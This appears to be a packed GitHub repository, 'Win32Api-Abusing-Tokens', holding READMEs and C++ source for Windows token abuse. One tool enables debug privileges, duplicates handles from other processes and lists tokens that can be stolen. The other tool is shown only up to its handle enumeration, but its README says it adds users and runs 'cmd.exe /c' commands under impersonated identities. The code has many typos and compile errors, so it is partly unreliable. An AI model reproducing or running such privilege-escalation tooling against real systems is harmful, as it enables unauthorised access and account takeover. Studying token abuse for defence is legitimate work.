├── tokenEnum.7z
├── tokenImpersonation.7z
├── TokenEnum
├── README.md
└── enum.cpp
├── README.md
└── TokenImpersonation
├── README.md
└── rthxr.cpp
/tokenEnum.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rthxr/Win32Api-Abusing-Tokens/HEAD/tokenEnum.7z
--------------------------------------------------------------------------------
/tokenImpersonation.7z:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/rthxr/Win32Api-Abusing-Tokens/HEAD/tokenImpersonation.7z
--------------------------------------------------------------------------------
/TokenEnum/README.md:
--------------------------------------------------------------------------------
1 |
2 |
tokenEnum
3 |
Made for token enumaration
Usage example below..
4 |

5 |
6 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
made by rthxr
2 |
Win32Api Abusing Tokens
3 |
Made for educational purposes
4 |
TokenEnum
Enumerating all user tokens
5 |

6 |
7 |
TokenImpersonation
Impersonating users and running commands
8 |

9 |

10 |
11 |
--------------------------------------------------------------------------------
/TokenImpersonation/README.md:
--------------------------------------------------------------------------------
1 |
2 |
TokenImpersonation
3 |
List
Command for token enumeration
4 |

5 |
Adduser
Impersonated net user add functionality
6 |

7 |
Exec
Impersonated "cmd.exe /c" to run commands as impersonated users
8 |

9 |
10 |
--------------------------------------------------------------------------------
/TokenEnum/enum.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | * Author: Arthur (RTHXR)
3 | * 27/02/2024
4 | * Terminated on 27/02 22h00
5 | */
6 |
7 | #include
8 | #include
9 | #include
10 | #include
11 | #pragma comment(lib, "netapi32.lib")
12 | #pragma comment(lib, "ntdll")
13 |
14 | #define MAX_USERNAME_LENGHT 256
15 | #define MAX_DOMAINNAME_LENGHT 256
16 | #define FULL_NAME_LENGHT 271
17 | #define TOKEN_TYPE_LENGHT 30
18 | #define COMMAND_LENGHT 1000
19 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
20 | #define STATUS_INFO_LENGHT_MISMATCH ((NTSTATUS)0xC0000004L)
21 | #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
22 | #define SystemHandleInformation 16
23 | #define SystemHandleInformationize 1024 * 1024 * 10
24 |
25 | typedef struct _OBJECT_TYPE_INFORMATION
26 | {
27 | UNICODE_STRING Name;
28 | ULONG TotalNumberOfObjects;
29 | ULONG TotalNumberOfHandles;
30 | ULONG TotalPagedPoolUsage;
31 | ULONG TotalNonPagedPoolUsage;
32 | ULONG TotalNamePoolUsage;
33 | ULONG TotalHandleTableUsage;
34 | ULONG HighWaterNumberOfObjects;
35 | ULONG HighWaterNumberOfHandles;
36 | ULONG HighWaterPagedPoolUsage;
37 | ULONG HighWaterNonPagedPoolUsage;
38 | ULONG HighWaterNamePoolUsage;
39 | ULONG HighWaterHandleTableUsage;
40 | ULONG Inis_token_validAttributes;
41 |
42 | GENERIC_MAPPING GenericMapping;
43 | ULONG is_token_validAccess;
44 |
45 | BOOLEAN SecutiryRequired;
46 | BOOLEAN MaintainHandleCount;
47 | USHORT MaintainTypeList;
48 |
49 | POOL_TYPE PoolType;
50 | ULONG PagedPoolUsage;
51 | ULONG NonPagedPoolUsage;
52 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
53 |
54 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
55 | {
56 | USHORT ProcessId;
57 | USHORT CreaterBackTraceIndex;
58 | UCHAR ObjectTypeIndex;
59 | UCHAR HandleAttributes;
60 | USHORT HandleValue;
61 | PVOID Object;
62 | ULONG GrantedAccess;
63 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
64 |
65 | typedef struct _SYSTEM_HANDLE_INFORMATION
66 | {
67 | ULONG NumberOfHandles;
68 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
69 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
70 |
71 | typedef enum _POOL_TYPE
72 | {
73 | NonPagedPool,
74 | PagedPool,
75 | NonPagedPoolMustSucceed,
76 | DontUseThisType,
77 | NonPagedPoolCacheAligned,
78 | PahedPoolCacheAligned,
79 | NonPagedPoolCacheAlignedMustS
80 | } POOL_TYPE, *PPOOL_TYPE;
81 |
82 | typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
83 | typedef UNICODE_STRING *POBJECT_NAME_INFORMATION;
84 |
85 | typedef struct
86 | {
87 | HANDLE token_handle;
88 | int token_id;
89 | wchar_t owner_name[FULL_NAME_LENGHT];
90 | wchar_t user_name[FULL_NAME_LENGHT];
91 | wchar_t TokenType[100];
92 | wchar_t TokenImpersonationLevel[100];
93 | } TOKEN;
94 |
95 | using fNtQuerySystemInformation = NTSTATUS(WINAPI *)(
96 | ULONG SystemInformationClass,
97 | PVOID SystemInformation,
98 | ULONG SystemInformationLenght,
99 | PULONG ReturnLenght
100 | );
101 |
102 | void get_token_owner_info(TOKEN *TOKEN_INFO)
103 | {
104 | wchar_t username[MAX_USERNAME_LENGHT];
105 | wchar_t domain[MAX_DOMAINNAME_LENGHT];
106 | wchar_t full_name[FULL_NAME_LENGHT];
107 | SID_NAME_USE sid;
108 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info;
109 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info))
110 | {
111 | PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);
112 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info))
113 | {
114 | LookupAccountSidW(NULL, ((TOKEN_OWNER *)TokenStatisticsInformation)->Owner, username, &user_lenght, domain. &domain_lenght, &sid);
115 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username);
116 | wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGHT, full_name);
117 | }
118 | }
119 | }
120 |
121 | void get_token_user_info(TOKEN *TOKEN_INFO)
122 | {
123 | wchar_t username[MAX_USERNAME_LENGHT];
124 | wchar_t domain[MAX_DOMAINNAME_LENGHT];
125 | wchar_t full_name[FULL_NAME_LENGHT];
126 | SID_NAME_USE sid;
127 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info;
128 |
129 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info))
130 | {
131 | PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);
132 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info))
133 | {
134 | LookupAccountSidW(NULL, ((TOKEN_USER *)TokenStatisticsInformation)->User.Sid, username, &user_lenght, domain, &domain_lenght, &sid);
135 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username);
136 | wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGHT, full_name);
137 | }
138 | }
139 | }
140 |
141 | void get_token_security_context(TOKEN *TOKEN_INFO)
142 | {
143 | DWORD returned_tokimp_lenght;
144 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_lenght))
145 | {
146 | PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_lenght);
147 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_lenght, &returned_tokimp_lenght))
148 | {
149 | if(*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityImpersonation)
150 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityImpersonation"); }
151 |
152 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityDelegation)
153 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityDelegation"); }
154 |
155 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityAnonymous)
156 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityAnonymous"); }
157 |
158 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityIdentification)
159 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityIdentification"); }
160 | }
161 | }
162 | }
163 |
164 | void get_token_information(TOKEN *TOKEN_INFO)
165 | {
166 | DWORD returned_tokinfo_lenght;
167 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_lenght))
168 | {
169 | PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_lenght);
170 | if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_lenght, &returned_tokinfo_lenght))
171 | {
172 | if(TokenStatisticsInformation->TokenType == TokenPrimary)
173 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenPrimary"); }
174 |
175 | else if(TokenStatisticsInformation->TokenType == TokenImpersonation)
176 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenImpersonation"); }
177 | }
178 | }
179 | }
180 |
181 | LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
182 | {
183 | LPWSTR data = NULL;
184 | DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
185 | POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);
186 |
187 | NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dsize);
188 | if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGHT_MISMATCH))
189 | {
190 | pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
191 | ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
192 | }
193 |
194 | if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
195 | {
196 | data = (LPWSTR)calloc(pObjectInfo->Lenght, sizeof(WCHAR));
197 | CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Lenght);
198 | }
199 |
200 | free(pObjectInfo);
201 | return data;
202 | }
203 |
204 | int wmain(int argc, wchar_t *argv[])
205 | {
206 | HANDLE hToken;
207 | DWORD cbSize;
208 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
209 | OpenProcessToken(hprocess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
210 | GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);
211 |
212 | PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
213 | GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
214 |
215 | DWORD integrity_level = (DWORD) *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
216 |
217 | if(integrity_level < SECURITY_MANDATORY_HIGH_RID)
218 | {
219 | printf("Low privilege error!!1!\n");
220 | return 1
221 | }
222 |
223 | TOKEN_PRIVILEGES tp;
224 | LUID luidSeAssignPrimaryTokenPrivilege;
225 | printf("+ Enabling SeAssignPrimaryToken\n");
226 |
227 | if(LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0)
228 | { printf("\t- SeAssignPrimaryToken not owned\n"); }
229 |
230 | else
231 | { printf("\t+ SeAssignPrimaryToken owned!1!!"); }
232 |
233 | tp.privilegeCount = 1;
234 | tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege;
235 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
236 |
237 | if(AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0)
238 | { printf("\t- SeAssignPrimaryToken adjust token failed: %d\n", GetLastError()); }
239 |
240 | else
241 | { printf("\t+ SeAssignPrimaryToken enabled!1!!\n"); }
242 |
243 | LUID luidSeDebugPrivilege;
244 | printf("+ Enabling SeDebugPrivilege\n");
245 | if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0)
246 | { printf("\t- SeDebugPrivilege not owned!1!!\n"); }
247 |
248 | else
249 | { printf("\t+ SeDebugPrivilege owned!1!!\n"); }
250 |
251 | tp.PrivilegeCount = 1;
252 | tp.Privileges[0].Luid = luidSeDebugPrivilege;
253 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
254 |
255 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0)
256 | { printf("\t- SeDebugPrivilege adjust token failed: %d\n", GetLastError()); }
257 | else
258 | { printf("\t+ SeDebugPrivilege enabled!1!!\n"); }
259 |
260 | CloseHandle(hProcess);
261 | CloseHandle(hToken);
262 |
263 | ULONG ReturnLenght = 0;
264 | TOKEN found_tokens[100];
265 | int nbrsfoundtokens = 0;
266 |
267 | fNtQuerySystemInformation fNtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
268 | PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationize);
269 | NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationize, &returnLenght);
270 |
271 | for (DWORD i = 0; i < handleTableInformation->NumberOfHandles; i++)
272 | {
273 | SYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (SYSTEM_HANDLE_TABLE_ENTRY_INFO)handleTableInformation->Handles[i];
274 |
275 | HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, FALSE, handleInfo.ProcessId);
276 | if(process == INVALID_HANDLE_VALUE)
277 | {
278 | CloseHandle(process);
279 | continue;
280 | }
281 |
282 | HANDLE dupHandle;
283 | if(DuplicateHandle(process, (HANDLE)handleInfo.HandleValue, GetCurrentProcess(), &dupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS) == 0)
284 | {
285 | CloseHandle(process);
286 | continue;
287 | }
288 |
289 | POBJECT_NAME_INFORMATION objectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(8192);
290 | if(wcscmp(GetObjectInfo(dupHandle, ObjectTypeInformation), L"Token"))
291 | {
292 | CloseHandle(process);
293 | CloseHandle(dupHandle);
294 | continue;
295 | }
296 |
297 | TOKEN TOKEN_INFO;
298 | TOKEN_INFO.token_handle = dupHandle;
299 | get_token_owner_info(&TOKEN_INFO);
300 | get_token_user_info(&TOKEN_INFO);
301 | get_token_information(&TOKEN_INFO);
302 |
303 | if(wcscmp(TOKEN_INFO.TokenType, L"TokenPrimary") != 0)
304 | {
305 | get_token_security_context(&TOKEN_INFO);
306 | } else {
307 | wcscpy_s(TOKEN_INFO.TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L" ");
308 | }
309 |
310 | int is_new_token = 0;
311 | for (int j = 0; j <= nbrsfoundtokens; j++)
312 | {
313 | if(wcscmp(found_tokens[j].user_name, TOKEN_INFO.user_name) == 0 && wcscmp(found_tokens[j].TokenType, TOKEN_INFO,TokenType) == 0 && wcscmp(found_tokens[j].TokenImpersonationLevel, TOKEN_INFO.TokenImpersonationLevel) == 0)
314 | {
315 | is_new_token = 1;
316 | }
317 | }
318 | if(is_new_token == 0)
319 | {
320 | TOKEN_INFO.token_id = nbrsfoundtokens;
321 | found_tokens[nbrsfoundtokens] = TOKEN_INFO;
322 | nbrsfoundtokens += 1;
323 | }
324 |
325 | CloseHandle(process);
326 |
327 | }
328 |
329 | printf("\n+ Listing available tokens\n");
330 | for (int k = 0; k < nbrsfoundtokens; k++)
331 | {
332 | printf("[ID: %d][%ws][%ws] Owner: %ws User: %ws\n", found_tokens[k].token_id, found_tokens[k].TokenType, found_tokens[k].TokenImpersonationLevel, found_tokens[k].owner_name, found_tokens[k].user_name);
333 | }
334 |
335 | return 0;
336 | }
337 |
--------------------------------------------------------------------------------
/TokenImpersonation/rthxr.cpp:
--------------------------------------------------------------------------------
1 | /*
2 | * Author: Arthur (RTHXR)
3 | * 27/02/2024
4 | */
5 |
6 | #include
7 | #include
8 | #include
9 | #include
10 | #pragma comment(lib, "netapi32.lib")
11 | #pragma comment(lib, "ntdll")
12 |
13 | #define MAX_USERNAME_LENGHT 256
14 | #define MAX_DOMAINNAME_LENGHT 256
15 | #define FULL_NAME_LENGHT 271
16 | #define TOKEN_TYPE_LENGHT 30
17 | #define COMMAND_LENGHT 1000
18 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
19 | #define STATUS_INFO_LENGHT_MISMATCH ((NTSTATUS)0xC0000004L)
20 | #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
21 | #define SystemHandleInformation 16
22 | #define SystemHandleInformationize 1024 * 1024 * 10
23 |
24 | typedef struct _OBJECT_TYPE_INFORMATION
25 | {
26 | UNICODE_STRING Name;
27 | ULONG TotalNumberOfObjects;
28 | ULONG TotalNumberOfHandles;
29 | ULONG TotalPagedPoolUsage;
30 | ULONG TotalNonPagedPoolUsage;
31 | ULONG TotalNamePoolUsage;
32 | ULONG TotalHandleTableUsage;
33 | ULONG HighWaterNumberOfObjects;
34 | ULONG HighWaterNumberOfHandles;
35 | ULONG HighWaterPagedPoolUsage;
36 | ULONG HighWaterNonPagedPoolUsage;
37 | ULONG HighWaterNamePoolUsage;
38 | ULONG HighWaterHandleTableUsage;
39 | ULONG Inis_token_validAttributes;
40 |
41 | GENERIC_MAPPING GenericMapping;
42 | ULONG is_token_validAccess;
43 |
44 | BOOLEAN SecutiryRequired;
45 | BOOLEAN MaintainHandleCount;
46 | USHORT MaintainTypeList;
47 |
48 | POOL_TYPE PoolType;
49 | ULONG PagedPoolUsage;
50 | ULONG NonPagedPoolUsage;
51 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;
52 |
53 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
54 | {
55 | USHORT ProcessId;
56 | USHORT CreaterBackTraceIndex;
57 | UCHAR ObjectTypeIndex;
58 | UCHAR HandleAttributes;
59 | USHORT HandleValue;
60 | PVOID Object;
61 | ULONG GrantedAccess;
62 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
63 |
64 | typedef struct _SYSTEM_HANDLE_INFORMATION
65 | {
66 | ULONG NumberOfHandles;
67 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
68 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
69 |
70 | typedef enum _POOL_TYPE
71 | {
72 | NonPagedPool,
73 | PagedPool,
74 | NonPagedPoolMustSucceed,
75 | DontUseThisType,
76 | NonPagedPoolCacheAligned,
77 | PahedPoolCacheAligned,
78 | NonPagedPoolCacheAlignedMustS
79 | } POOL_TYPE, *PPOOL_TYPE;
80 |
81 | typedef UNICODE_STRING OBJECT_NAME_INFORMATION;
82 | typedef UNICODE_STRING *POBJECT_NAME_INFORMATION;
83 |
84 | typedef struct
85 | {
86 | HANDLE token_handle;
87 | int token_id;
88 | wchar_t owner_name[FULL_NAME_LENGHT];
89 | wchar_t user_name[FULL_NAME_LENGHT];
90 | wchar_t TokenType[100];
91 | wchar_t TokenImpersonationLevel[100];
92 | } TOKEN;
93 |
94 | using fNtQuerySystemInformation = NTSTATUS(WINAPI *)(
95 | ULONG SystemInformationClass,
96 | PVOID SystemInformation,
97 | ULONG SystemInformationLenght,
98 | PULONG ReturnLenght
99 | );
100 |
101 | void usage()
102 | {
103 | printf("Usage: \n");
104 | printf("\t- Impersonating users and running commands: rthxr.exe exec \n\n");
105 | exit(0);
106 | }
107 |
108 | void get_token_owner_info(TOKEN *TOKEN_INFO)
109 | {
110 | wchar_t username[MAX_USERNAME_LENGHT];
111 | wchar_t domain[MAX_DOMAINNAME_LENGHT];
112 | wchar_t full_name[FULL_NAME_LENGHT];
113 | SID_NAME_USE sid;
114 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info;
115 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, NULL, 0, &token_info))
116 | {
117 | PTOKEN_OWNER TokenStatisticsInformation = (PTOKEN_OWNER)GlobalAlloc(GPTR, token_info);
118 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenOwner, TokenStatisticsInformation, token_info, &token_info))
119 | {
120 | LookupAccountSidW(NULL, ((TOKEN_OWNER *)TokenStatisticsInformation)->Owner, username, &user_lenght, domain. &domain_lenght, &sid);
121 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username);
122 | wcscpy_s(TOKEN_INFO->owner_name, TOKEN_TYPE_LENGHT, full_name);
123 | }
124 | }
125 | }
126 |
127 | void get_token_user_info(TOKEN *TOKEN_INFO)
128 | {
129 | wchar_t username[MAX_USERNAME_LENGHT];
130 | wchar_t domain[MAX_DOMAINNAME_LENGHT];
131 | wchar_t full_name[FULL_NAME_LENGHT];
132 | SID_NAME_USE sid;
133 | DWORD user_lenght = sizeof(username), domain_lenght = sizeof(domain), token_info;
134 |
135 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, NULL, 0, &token_info))
136 | {
137 | PTOKEN_USER TokenStatisticsInformation = (PTOKEN_USER)GlobalAlloc(GPTR, token_info);
138 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenUser, TokenStatisticsInformation, token_info, &token_info))
139 | {
140 | LookupAccountSidW(NULL, ((TOKEN_USER *)TokenStatisticsInformation)->User.Sid, username, &user_lenght, domain, &domain_lenght, &sid);
141 | _snwprintf_s(full_name, FULL_NAME_LENGHT, L"%ws/%ws", domain, username);
142 | wcscpy_s(TOKEN_INFO->user_name, TOKEN_TYPE_LENGHT, full_name);
143 | }
144 | }
145 | }
146 |
147 | void get_token_security_context(TOKEN *TOKEN_INFO)
148 | {
149 | DWORD returned_tokimp_lenght;
150 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, NULL, 0, &returned_tokimp_lenght))
151 | {
152 | PSECURITY_IMPERSONATION_LEVEL TokenImpersonationInformation = (PSECURITY_IMPERSONATION_LEVEL)GlobalAlloc(GPTR, returned_tokimp_lenght);
153 | if(GetTokenInformation(TOKEN_INFO->token_handle, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_lenght, &returned_tokimp_lenght))
154 | {
155 | if(*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityImpersonation)
156 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityImpersonation"); }
157 |
158 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityDelegation)
159 | { wcscpy_s(TOKEN_INFO->TokenImpersonationLevel, TOKEN_TYPE_LENGHT, L"SecurityDelegation"); }
160 |
161 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityAnonymous)
162 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityAnonymous"); }
163 |
164 | else if (*((SECURITY_IMPERSONATION_LEVEL *)TokenImpersonationInformation) == SecurityIdentification)
165 | { wcscpy_s(TOKEN_INFO->TokenImpersonationInformation, TOKEN_TYPE_LENGHT, L"SecurityIdentification"); }
166 | }
167 | }
168 | }
169 |
170 | void get_token_information(TOKEN *TOKEN_INFO)
171 | {
172 | DWORD returned_tokinfo_lenght;
173 | if(!GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, NULL, 0, &returned_tokinfo_lenght))
174 | {
175 | PTOKEN_STATISTICS TokenStatisticsInformation = (PTOKEN_STATISTICS)GlobalAlloc(GPTR, returned_tokinfo_lenght);
176 | if (GetTokenInformation(TOKEN_INFO->token_handle, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_lenght, &returned_tokinfo_lenght))
177 | {
178 | if(TokenStatisticsInformation->TokenType == TokenPrimary)
179 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenPrimary"); }
180 |
181 | else if(TokenStatisticsInformation->TokenType == TokenImpersonation)
182 | { wcscpy_s(TOKEN_INFO->TokenType, TOKEN_TYPE_LENGHT, L"TokenImpersonation"); }
183 | }
184 | }
185 | }
186 |
187 | LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
188 | {
189 | LPWSTR data = NULL;
190 | DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
191 | POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION)malloc(dwSize);
192 |
193 | NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dsize);
194 | if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGHT_MISMATCH))
195 | {
196 | pObjectInfo = (POBJECT_NAME_INFORMATION)realloc(pObjectInfo, dwSize);
197 | ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
198 | }
199 |
200 | if ((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
201 | {
202 | data = (LPWSTR)calloc(pObjectInfo->Lenght, sizeof(WCHAR));
203 | CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Lenght);
204 | }
205 |
206 | free(pObjectInfo);
207 | return data;
208 | }
209 |
210 | int wmain(int argc, wchar_t *argv[])
211 | {
212 | HANDLE hToken;
213 | DWORD cbSize;
214 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId());
215 | OpenProcessToken(hprocess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
216 | GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize);
217 |
218 | PTOKEN_MANDATORY_LABEL pTIL = (PTOKEN_MANDATORY_LABEL)LocalAlloc(0, cbSize);
219 | GetTokenInformation(hToken, TokenIntegrityLevel, pTIL, cbSize, &cbSize);
220 |
221 | DWORD integrity_level = (DWORD) *GetSidSubAuthority(pTIL->Label.Sid, (DWORD)(UCHAR)(*GetSidSubAuthorityCount(pTIL->Label.Sid) - 1));
222 |
223 | if(integrity_level < SECURITY_MANDATORY_HIGH_RID)
224 | {
225 | printf("Low privilege error!!1!\n");
226 | return 1
227 | }
228 |
229 | TOKEN_PRIVILEGES tp;
230 | LUID luidSeAssignPrimaryTokenPrivilege;
231 | printf("+ Enabling SeAssignPrimaryToken\n");
232 |
233 | if(LookupPrivilegeValue(NULL, SE_ASSIGNPRIMARYTOKEN_NAME, &luidSeAssignPrimaryTokenPrivilege) == 0)
234 | { printf("\t- SeAssignPrimaryToken not owned\n"); }
235 |
236 | else
237 | { printf("\t+ SeAssignPrimaryToken owned!1!!"); }
238 |
239 | tp.privilegeCount = 1;
240 | tp.Privileges[0].Luid = luidSeAssignPrimaryTokenPrivilege;
241 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
242 |
243 | if(AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0)
244 | { printf("\t- SeAssignPrimaryToken adjust token failed: %d\n", GetLastError()); }
245 |
246 | else
247 | { printf("\t+ SeAssignPrimaryToken enabled!1!!\n"); }
248 |
249 | LUID luidSeDebugPrivilege;
250 | printf("+ Enabling SeDebugPrivilege\n");
251 | if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidSeDebugPrivilege) == 0)
252 | { printf("\t- SeDebugPrivilege not owned!1!!\n"); }
253 |
254 | else
255 | { printf("\t+ SeDebugPrivilege owned!1!!\n"); }
256 |
257 | tp.PrivilegeCount = 1;
258 | tp.Privileges[0].Luid = luidSeDebugPrivilege;
259 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
260 |
261 | if (AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL) == 0)
262 | { printf("\t- SeDebugPrivilege adjust token failed: %d\n", GetLastError()); }
263 | else
264 | { printf("\t+ SeDebugPrivilege enabled!1!!\n"); }
265 |
266 | CloseHandle(hProcess);
267 | CloseHandle(hToken);
268 |
269 | ULONG ReturnLenght = 0;
270 | TOKEN found_tokens[100];
271 | int nbrsfoundtokens = 0;
272 |
273 | fNtQuerySystemInformation fNtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation");
274 | PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationize);
275 | NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationize, &returnLenght);
276 |
